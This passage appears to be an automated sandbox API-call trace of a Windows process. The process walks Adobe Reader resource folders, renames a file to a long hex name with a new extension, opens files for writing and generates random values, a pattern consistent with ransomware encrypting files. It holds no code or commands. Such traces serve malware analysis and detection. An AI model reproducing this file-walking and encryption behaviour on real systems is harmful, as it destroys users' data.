_Dest=0x1b869df8, _Format="%c%c" | out: _Dest="df") returned 2 [0243.203] sprintf (in: _Dest=0x1b869dfa, _Format="%c%c" | out: _Dest="80") returned 2 [0243.203] sprintf (in: _Dest=0x1b869dfc, _Format="%c%c" | out: _Dest="4c") returned 2 [0243.203] sprintf (in: _Dest=0x1b869dfe, _Format="%c%c" | out: _Dest="58") returned 2 [0243.203] sprintf (in: _Dest=0x1b869e00, _Format="%c%c" | out: _Dest="2e") returned 2 [0243.203] sprintf (in: _Dest=0x1b869e02, _Format="%c%c" | out: _Dest="6f") returned 2 [0243.203] sprintf (in: _Dest=0x1b869e04, _Format="%c%c" | out: _Dest="31") returned 2 [0243.203] sprintf (in: _Dest=0x1b869e06, _Format="%c%c" | out: _Dest="c3") returned 2 [0243.203] sprintf (in: _Dest=0x1b869e08, _Format="%c%c" | out: _Dest="89") returned 2 [0243.203] sprintf (in: _Dest=0x1b869e0a, _Format="%c%c" | out: _Dest="39") returned 2 [0243.203] sprintf (in: _Dest=0x1b869e0c, _Format="%c%c" | out: _Dest="e7") returned 2 [0243.203] sprintf (in: _Dest=0x1b869e0e, _Format="%c%c" | out: _Dest="7f") returned 2 [0243.203] sprintf (in: _Dest=0x1b869e10, _Format="%c%c" | out: _Dest="64") returned 2 [0243.204] sprintf (in: _Dest=0x1b869e12, _Format="%c%c" | out: _Dest="f1") returned 2 [0243.204] sprintf (in: _Dest=0x1b869e14, _Format="%c%c" | out: _Dest="fd") returned 2 [0243.204] sprintf (in: _Dest=0x1b869e16, _Format="%c%c" | out: _Dest="aa") returned 2 [0243.204] sprintf (in: _Dest=0x1b869e18, _Format="%c%c" | out: _Dest="e2") returned 2 [0243.205] sprintf (in: _Dest=0x1b869e1a, _Format="%c%c" | out: _Dest="06") returned 2 [0243.205] sprintf (in: _Dest=0x1b869e1c, _Format="%c%c" | out: _Dest="76") returned 2 [0243.205] sprintf (in: _Dest=0x1b869e1e, _Format="%c%c" | out: _Dest="f2") returned 2 [0243.205] sprintf (in: _Dest=0x1b869e20, _Format="%c%c" | out: _Dest="80") returned 2 [0243.205] sprintf (in: _Dest=0x1b869e22, _Format="%c%c" | out: _Dest="00") returned 2 [0243.205] sprintf (in: _Dest=0x1b869e24, _Format="%c%c" | out: _Dest="4b") returned 2 [0243.205] sprintf (in: _Dest=0x1b869e26, _Format="%c%c" | out: _Dest="b8") returned 2 [0243.205] sprintf (in: _Dest=0x1b869e28, _Format="%c%c" | out: _Dest="29") returned 2 [0243.205] sprintf (in: _Dest=0x1b869e2a, _Format="%c%c" | out: _Dest="67") returned 2 [0243.205] RtlInitAnsiString (in: DestinationString=0x3d99fab8, SourceString="2ca0f3e6c62220c689f889ff69785d19fe4691872df6315fd1a1f5bddf804c582e6f31c38939e77f64f1fdaae20676f280004bb82967" | out: DestinationString="2ca0f3e6c62220c689f889ff69785d19fe4691872df6315fd1a1f5bddf804c582e6f31c38939e77f64f1fdaae20676f280004bb82967") [0243.205] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d99fa88, SourceString="2ca0f3e6c62220c689f889ff69785d19fe4691872df6315fd1a1f5bddf804c582e6f31c38939e77f64f1fdaae20676f280004bb82967", AllocateDestinationString=1 | out: DestinationString="2ca0f3e6c62220c689f889ff69785d19fe4691872df6315fd1a1f5bddf804c582e6f31c38939e77f64f1fdaae20676f280004bb82967") returned 0x0 [0243.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x423aaa10 [0243.206] RtlFreeAnsiString (AnsiString="2") [0243.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0243.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431acce0) returned 1 [0243.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe080) returned 1 [0243.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20a10) returned 1 [0243.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0243.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6140) returned 1 [0243.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0243.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9a0) returned 1 [0243.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267fb0) returned 1 [0243.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c20) returned 1 [0243.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265d00) returned 1 [0243.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x423aba00 [0243.211] wcscat (in: _Dest=0x423aba00, _Source="2ca0f3e6c62220c689f889ff697" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\2ca0f3e6c62220c689f889ff697") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\2ca0f3e6c62220c689f889ff697" [0243.211] wcscat (in: _Dest=0x423aba00, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\2ca0f3e6c62220c689f889ff697.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\2ca0f3e6c62220c689f889ff697.2f9b60" [0243.211] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\2ca0f3e6c62220c689f889ff697.2f9b60", NtPathName=0x3d99fa60, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\2ca0f3e6c62220c689f889ff697.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0243.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x1694d0 [0243.212] NtSetInformationFile (FileHandle=0xafc, IoStatusBlock=0x3d99fb00, FileInformation=0x1694d0, Length=0xfe, FileInformationClass=0xa) Thread: id = 2714 os_tid = 0x22d4 [0157.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb6d60 [0157.790] wcscpy (in: _Dest=0x1ceb6d60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep" [0157.790] wcscat (in: _Dest=0x1ceb6d60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\" [0157.790] wcscat (in: _Dest=0x1ceb6d60, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*" [0157.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20502c80 [0157.790] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*", lpFindFileData=0x20502c80 | out: lpFindFileData=0x20502c80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd862b0 [0160.537] wcscmp (_String1=".", _String2=".") returned 0 [0160.537] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x20502c80 | out: lpFindFileData=0x20502c80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.537] wcscmp (_String1="..", _String2=".") returned 1 [0160.537] wcscmp (_String1="..", _String2="..") returned 0 [0160.537] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x20502c80 | out: lpFindFileData=0x20502c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="SASLPR~1.SPP")) returned 1 [0160.537] wcscmp (_String1="SaslPrepProfile_norm_bidi.spp", _String2=".") returned 1 [0160.537] wcscmp (_String1="SaslPrepProfile_norm_bidi.spp", _String2="..") returned 1 [0160.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x107e40 [0160.537] wcscpy (in: _Dest=0x107e40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep" [0160.537] wcscat (in: _Dest=0x107e40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\" [0160.537] wcscat (in: _Dest=0x107e40, _Source="SaslPrepProfile_norm_bidi.spp" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp" [0160.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb20 [0160.538] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x20502c80 | out: lpFindFileData=0x20502c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="SASLPR~1.SPP")) returned 0 [0160.538] FindClose (in: hFindFile=0x1cd862b0 | out: hFindFile=0x1cd862b0) returned 1 [0160.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20502c80) returned 1 [0160.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb6d60) returned 1 [0160.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420601b0) returned 1 Thread: id = 2715 os_tid = 0x22d8 [0157.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1ceb6df0 [0157.791] wcscpy (in: _Dest=0x1ceb6df0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport" [0157.791] wcscat (in: _Dest=0x1ceb6df0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\" [0157.791] wcscat (in: _Dest=0x1ceb6df0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*" [0157.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x205022c0 [0157.791] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*", lpFindFileData=0x205022c0 | out: lpFindFileData=0x205022c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86310 [0160.862] wcscmp (_String1=".", _String2=".") returned 0 [0160.862] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x205022c0 | out: lpFindFileData=0x205022c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.862] wcscmp (_String1="..", _String2=".") returned 1 [0160.862] wcscmp (_String1="..", _String2="..") returned 0 [0160.862] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x205022c0 | out: lpFindFileData=0x205022c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 1 [0160.862] wcscmp (_String1="Unicode", _String2=".") returned 1 [0160.862] wcscmp (_String1="Unicode", _String2="..") returned 1 [0160.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1cdb52f0 [0160.862] wcscpy (in: _Dest=0x1cdb52f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport" [0160.862] wcscat (in: _Dest=0x1cdb52f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\" [0160.862] wcscat (in: _Dest=0x1cdb52f0, _Source="Unicode" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode" [0161.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1cdb5390 [0161.029] wcscpy (in: _Dest=0x1cdb5390, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode" [0161.029] wcscat (in: _Dest=0x1cdb5390, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\" [0161.029] wcscat (in: _Dest=0x1cdb5390, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*" [0161.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20502c80 [0161.029] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*", lpFindFileData=0x20502c80 | out: lpFindFileData=0x20502c80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86190 [0161.030] wcscmp (_String1=".", _String2=".") returned 0 [0161.030] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x20502c80 | out: lpFindFileData=0x20502c80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.030] wcscmp (_String1="..", _String2=".") returned 1 [0161.030] wcscmp (_String1="..", _String2="..") returned 0 [0161.030] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x20502c80 | out: lpFindFileData=0x20502c80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICU", cAlternateFileName="")) returned 1 [0161.030] wcscmp (_String1="ICU", _String2=".") returned 1 [0161.030] wcscmp (_String1="ICU", _String2="..") returned 1 [0161.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1cdb5430 [0161.030] wcscpy (in: _Dest=0x1cdb5430, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode" [0161.030] wcscat (in: _Dest=0x1cdb5430, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\" [0161.030] wcscat (in: _Dest=0x1cdb5430, _Source="ICU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU" [0161.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1cdb54d0 [0161.031] wcscpy (in: _Dest=0x1cdb54d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU" [0161.031] wcscat (in: _Dest=0x1cdb54d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\" [0161.031] wcscat (in: _Dest=0x1cdb54d0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\*" [0161.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20503160 [0161.031] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\*", lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86670 [0165.254] wcscmp (_String1=".", _String2=".") returned 0 [0165.254] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.254] wcscmp (_String1="..", _String2=".") returned 1 [0165.254] wcscmp (_String1="..", _String2="..") returned 0 [0165.255] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl_gb18030.cnv", cAlternateFileName="CTL_GB~1.CNV")) returned 1 [0165.255] wcscmp (_String1="ctl_gb18030.cnv", _String2=".") returned 1 [0165.255] wcscmp (_String1="ctl_gb18030.cnv", _String2="..") returned 1 [0165.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x42c36750 [0165.255] wcscpy (in: _Dest=0x42c36750, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU" [0165.255] wcscat (in: _Dest=0x42c36750, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\" [0165.255] wcscat (in: _Dest=0x42c36750, _Source="ctl_gb18030.cnv" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\ctl_gb18030.cnv") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\ctl_gb18030.cnv" [0165.944] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\ctl_gb18030.cnv" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\ctl_gb18030.cnv")) returned 0x20 [0165.947] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\ctl_gb18030.cnv", dwFileAttributes=0x20) returned 1 [0166.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\ctl_gb18030.cnv" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\ctl_gb18030.cnv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a34 [0166.472] GetFileSizeEx (in: hFile=0x2a34, lpFileSize=0x2155fbc0 | out: lpFileSize=0x2155fbc0*=228416) returned 1 [0166.472] SetFilePointerEx (in: hFile=0x2a34, liDistanceToMove=0x37c3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.472] ReadFile (in: hFile=0x2a34, lpBuffer=0x2155fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2155fb88, lpOverlapped=0x0 | out: lpBuffer=0x2155fb40*, lpNumberOfBytesRead=0x2155fb88*=0x4, lpOverlapped=0x0) returned 1 [0166.476] SetFilePointerEx (in: hFile=0x2a34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3760 [0166.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4570 [0166.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4540 [0166.478] NtQuerySystemTime (in: CurrentTime=0x2155fa80 | out: CurrentTime=0x2155fa80*=132462177715918000) returned 0x0 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x702edb63 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x2d65c607 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x79113587 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x272e7997 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x245de9ad [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x467153eb [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x4ed8133f [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x8ad4632 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x37b583b2 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x7ff6d2dd [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x7f3c9824 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x5dc95f2d [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x291089cb [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x6da88f18 [0166.478] RtlRandomEx (in: Seed=0x2155fa70 | out: Seed=0x2155fa70) returned 0x4659be31 [0166.478] 